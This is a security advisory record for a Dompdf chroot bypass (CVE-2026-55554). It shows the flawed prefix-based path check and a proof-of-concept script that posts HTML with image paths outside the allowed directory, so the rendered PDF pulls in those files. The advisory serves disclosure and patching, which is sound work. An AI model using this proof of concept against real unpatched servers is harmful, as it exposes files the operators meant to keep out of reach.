{"id":"GHSA-wvh6-f5jh-8gw4","aliases":["CVE-2026-55554"],"title":"Dompdf: Chroot Validation Bypass","description":"### Summary\nThe chroot check for local files uses a prefix string check to enforce chroot boundaries. The simple string comparison it performs allows paths like /var/www/root_secret/file.html when chroot is /var/www/root.\n\nThis allows attacker-controlled document paths/resources to bypass intended local file restrictions.\n\n### Details\nThe `validateLocalUri()` method is used to check if a local file is within an allowed chroot directory. After normalization with `realpath()`, this check is performed with a `strpos()` comparison:\n\n\n```\n    public function validateLocalUri(string $uri)\n    {\n        ...\n        $realfile = realpath(str_replace(\"file://\", \"\", $uri));\n        ...\n        foreach ($dirs as $chrootPath) {\n            $chrootPath = realpath($chrootPath);\n            if ($chrootPath !== false && strpos($realfile, $chrootPath) === 0) {\n                $chrootValid = true;\n```\n\nDue to the normalization, the `$chrootPath` string does not have a terminating directory separator (`/`) appended. Because of this, the `strpos()` check only validates that `$chrootPath` is a _prefix_ of  `$realfile`. This allows access to folders with similar names that fall outside of the defined chroot restrictions.\n\nFor example, a chroot setting of `/var/www/` would be normalized to `/var/www`, removing the trailing `/`. During `strpos()`, a `$chrootPath` of `/var/www` will also match a `$realfile` starting with `/var/www2`, `/var/www-admin`, or `/var/www_backup`, despite these being different directories.\n\n### PoC\n\nWith a directory structure similar to:\n\n```\n/home/dompdf/\n  |--> web/\n        |--> pdf.php\n        |--> cat0.jpg\n  |--> web-admin/\n        |--> cat1.jpg\n```\n\nAnd web-accessible Dompdf functionality similar to the following (poc.html):\n\n```\n<?php\nrequire 'vendor/autoload.php';\nuse Dompdf\\Dompdf;\nuse Dompdf\\Options;\n\n$options = new Options();\n$options->setChroot(['/home/dompdf/web/']);\n$dompdf = new Dompdf($options);\n\n$dompdf->loadHtml($_POST['html']);\n$dompdf->render();\n$dompdf->stream();\n?>\n```\n\nA malicious actor can exploit the vulnerability with the following script:\n\n```\n$html = <<<HTML\n<!DOCTYPE html>\n<html>\n    <body>\n        <p>within chroot</p>\n            <img src=\"/home/dompdf/web/cat0.jpg\">\n        <p>outside of chroot</p>\n            <img src=\"/home/dompdf/web-admin/cat1.jpg\">\n    </body>\n</html>\nHTML;\n\n$url = 'http://example.com/poc.php';\n$data = ['html' => $html];\n$headers = [\"Content-type: application/x-www-form-urlencoded\"];\n\n// use key 'http' even if you send the request to https://...\n$options = [\n    'http' => [\n        'header' => $headers,\n        'method' => 'POST',\n        'content' => http_build_query($data),\n        'ignore_errors' => true,\n    ],\n];\n$context = stream_context_create($options);\n$response = file_get_contents($url, false, $context);\n```\n\nWhen the PDF is generated, both `jpg` files are loaded successfully despite the `cat1.jpg` file being outside of the allowed chroot.\n\n### Impact\nAn attacker that controls a portion of the rendered HTML could leverage this vulnerability to bypass chroot restrictions and access potentially sensitive files from outside of the allowed directories.","severity":"low","score":2.3,"published":"2026-07-22T21:06:48.000Z","modified":"2026-07-22T21:26:46.998Z","withdrawn":false,"knownExploited":false,"affected":[{"ecosystem":"Packagist","name":"dompdf/dompdf","ranges":[{"events":[{"introduced":"0"},{"fixed":"3.1.6"}],"type":"ECOSYSTEM"}],"versions":["v0.6.0","v0.6.1","v0.6.2","v0.7.0","v0.7.0-beta","v0.7.0-beta2","v0.7.0-beta3","v0.8.0","v0.8.1","v0.8.2","v0.8.3","v0.8.4","v0.8.5","v0.8.6","v1.0.0","v1.0.1","v1.0.2","v1.1.0","v1.1.1","v1.2.0","v1.2.1","v1.2.2","v2.0.0","v2.0.1","v2.0.2","v2.0.3","v2.0.4","v2.0.5","v2.0.7","v2.0.8","v3.0.0","v3.0.1","v3.0.2","v3.1.0","v3.1.1","v3.1.2","v3.1.3","v3.1.4","v3.1.5"],"fixed":["3.1.6"]}],"references":["https://github.com/dompdf/dompdf/security/advisories/GHSA-wvh6-f5jh-8gw4","https://github.com/dompdf/dompdf/commit/1b3b61ec4f6962678e56ee8a42920b4f835ab006","https://github.com/dompdf/dompdf","https://github.com/dompdf/dompdf/releases/tag/v3.1.6"],"sources":[{"name":"OSV","id":"GHSA-wvh6-f5jh-8gw4","modified":"2026-07-22T21:26:46.998105Z","url":"https://osv.dev/vulnerability/GHSA-wvh6-f5jh-8gw4"}],"assessments":[{"source":"OSV","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","score":2.3}]}